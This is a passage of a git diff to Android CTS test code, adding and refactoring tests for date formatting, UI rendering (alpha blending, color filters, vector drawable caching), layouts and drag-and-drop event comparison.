         assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+        assertEquals("", TextUtils.join("|", new String[0]));
     }
 
     @Test(expected=NullPointerException.class)
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 13c9aa2..50c97b2 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -18,12 +18,15 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.UiAutomation;
 import android.content.Context;
+import android.content.res.Configuration;
+import android.os.LocaleList;
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings;
 import android.support.annotation.NonNull;
@@ -312,6 +315,27 @@
         }
     }
 
+    @Test
+    public void test_ContextLocaleIsUsed() {
+        final Locale oldLocale = Locale.getDefault();
+
+        try {
+            Date date = new Date(YEAR_FROM_1900, MONTH, DAY);
+            Locale.setDefault(Locale.FRANCE);
+            final String javaResult = java.text.DateFormat.getDateInstance(
+                    java.text.DateFormat.LONG).format(date);
+
+            final Configuration config = new Configuration();
+            config.setLocales(new LocaleList(Locale.JAPAN));
+            final Context context = mContext.createConfigurationContext(config);
+            final String androidResult = DateFormat.getLongDateFormat(context).format(date);
+
+            assertNotEquals(javaResult, androidResult);
+        } finally {
+            Locale.setDefault(oldLocale);
+        }
+    }
+
     @NonNull
     private String getTimeFormat() throws IOException {
         return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
diff --git a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
index 9c96519..4f26aea 100644
--- a/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
+++ b/tests/tests/text/src/android/text/method/cts/KeyListenerCtsActivity.java
@@ -18,7 +18,6 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.text.cts.R;
 import android.text.method.BaseKeyListener;
 import android.text.method.DateKeyListener;
@@ -29,7 +28,6 @@
 import android.text.method.QwertyKeyListener;
 import android.text.method.TextKeyListener;
 import android.text.method.TimeKeyListener;
-import android.util.Log;
 
 /**
  * This Activity is used for testing:
@@ -55,47 +53,9 @@
  */
 
 public class KeyListenerCtsActivity extends Activity {
-    private boolean mHasWindowFocus = false;
-    private final Object mHasWindowFocusLock = new Object();
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.keylistener_layout);
     }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        super.onWindowFocusChanged(hasFocus);
-        if (!hasFocus) {
-            Log.w("KeyListenerCtsActivity", "KeyListenerCtsActivity lost window focus");
-        }
-        synchronized(mHasWindowFocusLock) {
-            mHasWindowFocus = hasFocus;
-            mHasWindowFocusLock.notify();
-        }
-    }
-
-    /**
-     * Blocks the calling thread until the {@link KeyListenerCtsActivity} has window focus or the
-     * specified duration (in milliseconds) has passed.
-     */
-    public boolean waitForWindowFocus(long durationMillis) {
-        long elapsedMillis = SystemClock.elapsedRealtime();
-        synchronized(mHasWindowFocusLock) {
-            mHasWindowFocus = hasWindowFocus();
-            while (!mHasWindowFocus && durationMillis > 0) {
-                long newElapsedMillis = SystemClock.elapsedRealtime();
-                durationMillis -= (newElapsedMillis - elapsedMillis);
-                elapsedMillis = newElapsedMillis;
-                if (durationMillis > 0) {
-                    try {
-                        mHasWindowFocusLock.wait(durationMillis);
-                    } catch (InterruptedException e) {
-                    }
-                }
-            }
-            return mHasWindowFocus;
-        }
-    }
 }
diff --git a/tests/tests/uirendering/res/drawable/circle.xml b/tests/tests/uirendering/res/drawable/circle.xml
new file mode 100644
index 0000000..9d47a8a
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/circle.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:height="90px"
+        android:width="90px"
+        android:viewportHeight="1"
+        android:viewportWidth="1" >
+
+    <group>
+        <path
+            android:name="box0"
+            android:pathData="m0,0.5a0.5,0.5 0 1,0 1,0a0.5,0.5 0 1,0 -1,0"
+            android:fillColor="#FF0000" />
+    </group>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
new file mode 100644
index 0000000..8c777f8
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AlphaBlendTest extends ActivityTestBase {
+
+    class ViewWithAlpha extends View {
+        public ViewWithAlpha(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            canvas.drawColor(Color.RED);
+            canvas.drawColor(Color.BLUE);
+        }
+
+        @Override
+        public boolean hasOverlappingRendering() {
+            return false;
+        }
+    }
+
+    /*
+     * The following test verifies that a RED and BLUE paints on a non-overlapping view with a 0.5f
+     * alpha blends correctly with a BLACK parent (without using an offscreen surface).
+     */
+    @Test
+    public void testBlendAlphaNonOverlappingView() {
+
+        ViewInitializer initializer = new ViewInitializer() {
+
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+                root.setBackgroundColor(Color.BLACK);
+
+                final ViewWithAlpha child = new ViewWithAlpha(view.getContext());
+
+                child.setLayoutParams(new FrameLayout.LayoutParams(
+                        ViewGroup.LayoutParams.FILL_PARENT,  ViewGroup.LayoutParams.FILL_PARENT));
+                child.setAlpha(0.5f);
+                root.addView(child);
+            }
+        };
+
+        createTest()
+            .addLayout(R.layout.frame_layout, initializer, true)
+            .runWithVerifier(new ColorVerifier(0xff40007f));
+    }
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
new file mode 100644
index 0000000..4fd227d
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorMatrixColorFilter;
+import android.graphics.Paint;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ColorFilterTests extends ActivityTestBase {
+
+    @Test
+    public void testColorMatrix() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Bitmap whiteBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+                    whiteBitmap.eraseColor(Color.WHITE);
+
+                    Paint paint = new Paint();
+                    canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+                    paint.setAntiAlias(true);
+                    paint.setColorFilter(new ColorMatrixColorFilter(new float[] {
+                            -1, 0, 0, 0, 255,
+                            0, -1, 0, 0, 255,
+                            0, 0, -1, 0, 255,
+                            0, 0, 0, 1, 0
+                            }));
+                    canvas.drawBitmap(whiteBitmap, 0, 0, paint);
+
+                }, true)
+                .runWithVerifier(new ColorVerifier(Color.BLACK));
+    }
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index ed0110a..ae8f57e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -47,6 +47,7 @@
 import android.view.ViewTreeObserver;
 import android.widget.FrameLayout;
 
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -294,9 +295,9 @@
             .runWithVerifier(new RectVerifier(Color.WHITE, Color.GREEN, new Rect(40, 40, 70, 70)));
     }
 
-    // Note: This test will fail for Skia pipeline, but that is OK.
-    // TODO: delete this test when Skia pipeline is default and modify next test
+    // STOPSHIP: delete this test when Skia pipeline ships as the default and modify next test
     // testSaveLayerUnclippedWithColorFilterSW to run for both HW and SW
+    @Ignore
     @Test
     public void testSaveLayerUnclippedWithColorFilterHW() {
         // verify that HW can draw nested unclipped layers with chained color filters
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
index ffb263d..f4db101 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -16,17 +16,29 @@
 
 package android.uirendering.cts.testclasses;
 
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.animation.ValueAnimator;
+import android.content.Context;
+import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.graphics.drawable.VectorDrawable;
 import android.support.test.filters.MediumTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.widget.FrameLayout;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import android.animation.Animator;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -44,5 +56,94 @@
                 .runWithVerifier(
                         new RectVerifier(Color.WHITE, Color.RED, new Rect(0, 0, 25, 25)));
     }
+
+    class VectorDrawableView extends View {
+        private VectorDrawable mVd;
+        private Rect mVdBounds;
+
+        public VectorDrawableView(Context context) {
+            super(context);
+            mVd = (VectorDrawable) context.getResources().getDrawable(R.drawable.circle, null);
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            mVd.setBounds(mVdBounds);
+            mVd.draw(canvas);
+        }
+
+        public void setVDSize(Rect vdBounds) {
+            mVdBounds = vdBounds;
+        }
+    }
+
+    /*
+     * The following test verifies that VectorDrawable.setBounds invalidates the bitmap cache.
+     */
+    @Test
+    public void testInvalidateCache() {
+        CountDownLatch testFinishedFence = new CountDownLatch(1);
+
+        ViewInitializer initializer = new ViewInitializer() {
+            ValueAnimator mAnimator;
+
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+                root.setBackgroundColor(Color.BLUE);
+
+                final VectorDrawableView child = new VectorDrawableView(view.getContext());
+
+                child.setLayoutParams(new FrameLayout.LayoutParams(ActivityTestBase.TEST_WIDTH,
+                    ActivityTestBase.TEST_HEIGHT));
+                // VectorDrawable is a red circle drawn on top of a blue background.
+                // The first frame has VectorDrawable size set to 1x1 pixels, which deforms
+                // the red circle into a 1x1 red-ish square.
+                // An animation grows VectorDrawable bounds from 0x0 to 90x90. If VD cache is
+                // refreshed, then we should see a red circle on top of a blue background.
+                // If VD cache is stale, then VD will upscale the original 1x1 cached image to
+                // 90x90 red-ish square.
+                // At the end of the animation, we verify the color of top left pixel, which should
+                // be a blue background pixel.
+                child.setVDSize(new Rect(0, 0, 2, 2)); //first draw with VD size set to 1x1 pixels.
+                root.addView(child);
+
+                mAnimator = ValueAnimator.ofFloat(0, 1);
+                mAnimator.setRepeatCount(0);
+                mAnimator.setDuration(400);
+                mAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+                    @Override
+                    public void onAnimationUpdate(ValueAnimator animation) {
+                        float progress = (float) mAnimator.getAnimatedValue();
+                        child.setVDSize(new Rect(0, 0, (int)(progress*child.getWidth()),
+                                (int)(progress*child.getHeight())));
+                        child.invalidate();
+                    }
+                });
+                mAnimator.addListener(
+                    new AnimatorListenerAdapter() {
+                        @Override
+                        public void onAnimationEnd(Animator animation) {
+                            super.onAnimationEnd(animation);
+                            testFinishedFence.countDown();
+                        }
+                    });
+
+                mAnimator.start();
+            }
+
+            @Override
+            public void teardownView() {
+              mAnimator.cancel();
+            }
+        };
+
+        createTest()
+            .addLayout(R.layout.frame_layout, initializer, true, testFinishedFence)
+            .runWithVerifier(new SamplePointVerifier(
+                new Point[] { new Point(0, 0) },
+                new int[] { 0xff0000ff }
+            ));
+    }
 }
 
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 7c35627..8bacd2e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -348,6 +348,18 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <activity android:name="android.view.cts.KeyEventInterceptTestActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.TouchDelegateTestActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/view/res/layout/key_fallback_layout.xml b/tests/tests/view/res/layout/key_fallback_layout.xml
new file mode 100644
index 0000000..5d5cef1
--- /dev/null
+++ b/tests/tests/view/res/layout/key_fallback_layout.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+        <Button
+            android:id="@+id/higher_in_normal"
+            android:translationZ="3dp"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:id="@+id/last_in_normal"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+    <LinearLayout
+        android:id="@+id/higher_group"
+        android:translationZ="1dp"
+        android:orientation="horizontal"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:id="@+id/lower_in_higher"
+            android:translationZ="-2dp"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:id="@+id/last_in_higher"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+        <Button
+            android:id="@+id/last_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
new file mode 100644
index 0000000..0780046
--- /dev/null
+++ b/tests/tests/view/res/layout/touch_delegate_test_activity_layout.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/layout"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+    />
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 39ae2d3..d74acef 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -25,6 +25,8 @@
 import android.content.ClipData;
 import android.content.ClipDescription;
 import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.os.Parcelable;
 import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.rule.ActivityTestRule;
@@ -35,8 +37,6 @@
 import android.view.View;
 import android.view.ViewGroup;
 
-import com.android.internal.util.ArrayUtils;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -44,9 +44,10 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.Objects;
+import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.IntStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DragDropTest {
@@ -64,60 +65,81 @@
     private CountDownLatch mStartReceived;
     private CountDownLatch mEndReceived;
 
-    private static boolean equal(ClipDescription d1, ClipDescription d2) {
-        if ((d1 == null) != (d2 == null)) {
-            return false;
-        }
-        if (d1 == null) {
+    /**
+     * Check whether two objects have the same binary data when dumped into Parcels
+     * @return True if the objects are equal
+     */
+    private static boolean compareParcelables(Parcelable obj1, Parcelable obj2) {
+        if (obj1 == null && obj2 == null) {
             return true;
         }
-        return d1.getLabel().equals(d2.getLabel()) &&
-                d1.getMimeTypeCount() == 1 && d2.getMimeTypeCount() == 1 &&
-                d1.getMimeType(0).equals(d2.getMimeType(0));
-    }
-
-    private static boolean equal(ClipData.Item i1, ClipData.Item i2) {
-        return Objects.equals(i1.getIntent(), i2.getIntent()) &&
-                Objects.equals(i1.getHtmlText(), i2.getHtmlText()) &&
-                Objects.equals(i1.getText(), i2.getText()) &&
-                Objects.equals(i1.getUri(), i2.getUri());
-    }
-
-    private static boolean equal(ClipData d1, ClipData d2) {
-        if ((d1 == null) != (d2 == null)) {
+        if (obj1 == null || obj2 == null) {
             return false;
         }
-        if (d1 == null) {
-            return true;
-        }
-        return equal(d1.getDescription(), d2.getDescription()) &&
-                Objects.equals(d1.getIcon(), d2.getIcon()) &&
-                d1.getItemCount() == 1 && d2.getItemCount() == 1 &&
-                equal(d1.getItemAt(0), d2.getItemAt(0));
+        Parcel p1 = Parcel.obtain();
+        obj1.writeToParcel(p1, 0);
+        Parcel p2 = Parcel.obtain();
+        obj2.writeToParcel(p2, 0);
+        boolean result = Arrays.equals(p1.marshall(), p2.marshall());
+        p1.recycle();
+        p2.recycle();
+        return result;
     }
 
-    private static boolean equal(DragEvent ev1, DragEvent ev2) {
-        return ev1.getAction() == ev2.getAction() &&
-                ev1.getX() == ev2.getX() &&
-                ev1.getY() == ev2.getY() &&
-                equal(ev1.getClipData(), ev2.getClipData()) &&
-                equal(ev1.getClipDescription(), ev2.getClipDescription()) &&
-                Objects.equals(ev1.getDragAndDropPermissions(), ev2.getDragAndDropPermissions()) &&
-                Objects.equals(ev1.getLocalState(), ev2.getLocalState()) &&
-                ev1.getResult() == ev2.getResult();
-    }
+    private static final ClipDescription sClipDescription =
+            new ClipDescription("TestLabel", new String[]{"text/plain"});
+    private static final ClipData sClipData =
+            new ClipData(sClipDescription, new ClipData.Item("TestText"));
+    private static final Object sLocalState = new Object(); // just check if null or not
 
     class LogEntry {
-        public View v;
-        public DragEvent ev;
+        public View view;
 
-        public LogEntry(View v, DragEvent ev) {
-            this.v = v;
-            this.ev = DragEvent.obtain(ev);
+        // Public DragEvent fields
+        public int action; // DragEvent.getAction()
+        public float x; // DragEvent.getX()
+        public float y; // DragEvent.getY()
+        public ClipData clipData; // DragEvent.getClipData()
+        public ClipDescription clipDescription; // DragEvent.getClipDescription()
+        public Object localState; // DragEvent.getLocalState()
+        public boolean result; // DragEvent.getResult()
+
+        LogEntry(View v, int action, float x, float y, ClipData clipData,
+                ClipDescription clipDescription, Object localState, boolean result) {
+            this.view = v;
+            this.action = action;
+            this.x = x;
+            this.y = y;
+            this.clipData = clipData;
+            this.clipDescription = clipDescription;
+            this.localState = localState;
+            this.result = result;
         }
 
-        public boolean eq(LogEntry other) {
-            return v == other.v && equal(ev, other.ev);
+        @Override
+        public boolean equals(Object obj) {
+            if (this == obj) {
+                return true;
+            }
+            if (!(obj instanceof LogEntry)) {
+                return false;
+            }
+            final LogEntry other = (LogEntry) obj;
+            return view == other.view && action == other.action
+                    && x == other.x && y == other.y
+                    && compareParcelables(clipData, other.clipData)
+                    && compareParcelables(clipDescription, other.clipDescription)
+                    && localState == other.localState
+                    && result == other.result;
+        }
+
+        @Override
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append("DragEvent {action=").append(action).append(" x=").append(x).append(" y=")
+                    .append(y).append(" result=").append(result).append("}")
+                    .append(" @ ").append(view);
+            return sb.toString();
         }
     }
 
@@ -126,19 +148,18 @@
     final private ArrayList<LogEntry> mActual = new ArrayList<LogEntry> ();
     final private ArrayList<LogEntry> mExpected = new ArrayList<LogEntry> ();
 
-    private static ClipDescription createClipDescription() {
-        return new ClipDescription("TestLabel", new String[]{"text/plain"});
+    private static ClipData obtainClipData(int action) {
+        if (action == DragEvent.ACTION_DROP) {
+            return sClipData;
+        }
+        return null;
     }
 
-    private static ClipData createClipData() {
-        return new ClipData(createClipDescription(), new ClipData.Item("TestText"));
-    }
-
-    static private DragEvent obtainDragEvent(int action, int x, int y, boolean result) {
-        final ClipDescription description =
-                action != DragEvent.ACTION_DRAG_ENDED ? createClipDescription() : null;
-        final ClipData data = action == DragEvent.ACTION_DROP ? createClipData() : null;
-        return DragEvent.obtain(action, x, y, null, description, data, null, result);
+    private static ClipDescription obtainClipDescription(int action) {
+        if (action == DragEvent.ACTION_DRAG_ENDED) {
+            return null;
+        }
+        return sClipDescription;
     }
 
     private void logEvent(View v, DragEvent ev) {
@@ -148,19 +169,23 @@
         if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
             mEndReceived.countDown();
         }
-        mActual.add(new LogEntry(v, ev));
+        mActual.add(new LogEntry(v, ev.getAction(), ev.getX(), ev.getY(), ev.getClipData(),
+                ev.getClipDescription(), ev.getLocalState(), ev.getResult()));
     }
 
     // Add expected event for a view, with zero coordinates.
     private void expectEvent5(int action, int viewId) {
         View v = mActivity.findViewById(viewId);
-        mExpected.add(new LogEntry(v, obtainDragEvent(action, 0, 0, false)));
+        mExpected.add(new LogEntry(v, action, 0, 0, obtainClipData(action),
+                obtainClipDescription(action), sLocalState, false));
     }
 
     // Add expected event for a view.
-    private void expectEndEvent(int viewId, int x, int y, boolean result) {
+    private void expectEndEvent(int viewId, float x, float y, boolean result) {
         View v = mActivity.findViewById(viewId);
-        mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED, x, y, result)));
+        int action = DragEvent.ACTION_DRAG_ENDED;
+        mExpected.add(new LogEntry(v, action, x, y, obtainClipData(action),
+                obtainClipDescription(action), sLocalState, result));
     }
 
     // Add expected successful-end event for a view.
@@ -173,9 +198,12 @@
     private void expectEndEventFailure6(int viewId, int releaseViewId) {
         View v = mActivity.findViewById(viewId);
         View release = mActivity.findViewById(releaseViewId);
-        int [] releaseLoc = release.getLocationOnScreen();
-        mExpected.add(new LogEntry(v, obtainDragEvent(DragEvent.ACTION_DRAG_ENDED,
-                releaseLoc[0] + 6, releaseLoc[1] + 6, false)));
+        int [] releaseLoc = new int[2];
+        release.getLocationOnScreen(releaseLoc);
+        int action = DragEvent.ACTION_DRAG_ENDED;
+        mExpected.add(new LogEntry(v, action,
+                releaseLoc[0] + 6, releaseLoc[1] + 6, obtainClipData(action),
+                obtainClipDescription(action), sLocalState, false));
     }
 
     // Add expected event for a view, with coordinates over view locationViewId, with the specified
@@ -183,11 +211,14 @@
     private void expectEventWithOffset(int action, int viewId, int locationViewId, int offset) {
         View v = mActivity.findViewById(viewId);
         View locationView = mActivity.findViewById(locationViewId);
-        int [] viewLocation = v.getLocationOnScreen();
-        int [] locationViewLocation = locationView.getLocationOnScreen();
-        mExpected.add(new LogEntry(v, obtainDragEvent(action,
+        int [] viewLocation = new int[2];
+        v.getLocationOnScreen(viewLocation);
+        int [] locationViewLocation = new int[2];
+        locationView.getLocationOnScreen(locationViewLocation);
+        mExpected.add(new LogEntry(v, action,
                 locationViewLocation[0] - viewLocation[0] + offset,
-                locationViewLocation[1] - viewLocation[1] + offset, false)));
+                locationViewLocation[1] - viewLocation[1] + offset, obtainClipData(action),
+                obtainClipDescription(action), sLocalState, false));
     }
 
     private void expectEvent5(int action, int viewId, int locationViewId) {
@@ -203,7 +234,8 @@
     private void injectMouseWithOffset(int viewId, int action, int offset) {
         runOnMain(() -> {
             View v = mActivity.findViewById(viewId);
-            int [] destLoc = v.getLocationOnScreen();
+            int [] destLoc = new int [2];
+            v.getLocationOnScreen(destLoc);
             long downTime = SystemClock.uptimeMillis();
             MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
                     destLoc[0] + offset, destLoc[1] + offset, 1);
@@ -237,8 +269,7 @@
         StringBuilder sb = new StringBuilder();
         for (int i = 0; i < log.size(); ++i) {
             LogEntry e = log.get(i);
-            sb.append("#").append(i + 1).append(": ").append(e.ev).append(" @ ").
-                    append(e.v.toString()).append('\n');
+            sb.append("#").append(i + 1).append(": ").append(e).append('\n');
         }
         return sb.toString();
     }
@@ -263,7 +294,7 @@
             }
 
             for (int i = 0; i < mActual.size(); ++i) {
-                if (!mActual.get(i).eq(mExpected.get(i))) {
+                if (!mActual.get(i).equals(mExpected.get(i))) {
                     failWithLogs("Actual event #" + (i + 1) + " is different from expected");
                 }
             }
@@ -321,7 +352,7 @@
             // Start drag.
             View v = mActivity.findViewById(R.id.draggable);
             assertTrue("Couldn't start drag",
-                    v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
+                    v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
         });
 
         try {
@@ -585,6 +616,11 @@
         verifyEventLog();
     }
 
+    private boolean drawableStateContains(int resourceId, int attr) {
+        return IntStream.of(mActivity.findViewById(resourceId).getDrawableState())
+                .anyMatch(x -> x == attr);
+    }
+
     /**
      * Tests that state_drag_hovered and state_drag_can_accept are set correctly.
      */
@@ -600,52 +636,38 @@
                 logEvent(v, ev);
                 return true;
             });
-            assertFalse(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
-                    android.R.attr.state_drag_can_accept));
+            assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_can_accept));
         });
 
         startDrag();
 
         runOnMain(() -> {
-            assertFalse(ArrayUtils.contains(
-                    mActivity.findViewById(R.id.inner).getDrawableState(),
